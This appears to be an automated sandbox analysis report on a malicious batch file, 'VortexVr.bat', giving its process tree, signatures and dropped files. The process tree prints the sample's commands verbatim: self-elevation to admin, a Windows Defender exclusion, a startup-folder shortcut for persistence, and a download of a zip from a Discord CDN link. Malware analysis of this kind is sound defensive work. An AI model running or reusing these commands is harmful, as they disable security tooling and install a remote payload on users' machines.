Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 17:25

General

  • Target
    VortexVr.bat
  • Size 14KB
  • Sample260805-vza84asalg
  • SHA256 666d920bddf08df8adee4e9b7fa01616f367ff282a952a48d3b09a247fbc49de
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:876
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4412
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:120
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Creates a file in the Startup directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1525892269998342266/1534603983258124440/salinewin1.5.zip?ex=6a74bad5&is=6a736955&hm=84f34adc57da4aa5369e1a31b453006881d1d32904fd2885296be589ea1b674a&' -OutFile 'C:\Users\Admin\Downloads\file.zip'"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Expand-Archive -Force -Path 'C:\Users\Admin\Downloads\salinewin1.5.zip' -DestinationPath 'C:\Users\Admin\Downloads\ExtractedFiles'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3820

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 858acdb8676d64845c57816b4a70cbba05c24841677e899c3325cc692f03f82e
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_bnefq544.32w.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnefq544.32w.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/120-25-0x0000016BAB290000-0x0000016BABC34000-memory.dmp

        memory/120-23-0x0000016BC4000000-0x0000016BC400A000-memory.dmp

        memory/120-21-0x0000016BC3FE0000-0x0000016BC3FFE000-memory.dmp

        memory/120-22-0x0000016BC4240000-0x0000016BC42F2000-memory.dmp

        memory/876-9-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-4-0x000002A005F30000-0x000002A005F52000-memory.dmp

        memory/876-12-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-11-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-10-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-0-0x000002A005C0C000-0x000002A005C0D000-memory.dmp

        memory/876-8-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-7-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-6-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-5-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-15-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/876-1-0x000002A005470000-0x000002A005E14000-memory.dmp

        memory/1436-31-0x0000018E91F50000-0x0000018E928F4000-memory.dmp

        memory/2636-35-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

        memory/2636-39-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

        memory/2636-40-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

        memory/2636-43-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

        memory/2636-38-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

        memory/2636-37-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

        memory/3820-50-0x0000013A73820000-0x0000013A738D2000-memory.dmp

        memory/3820-52-0x0000013A728C0000-0x0000013A73264000-memory.dmp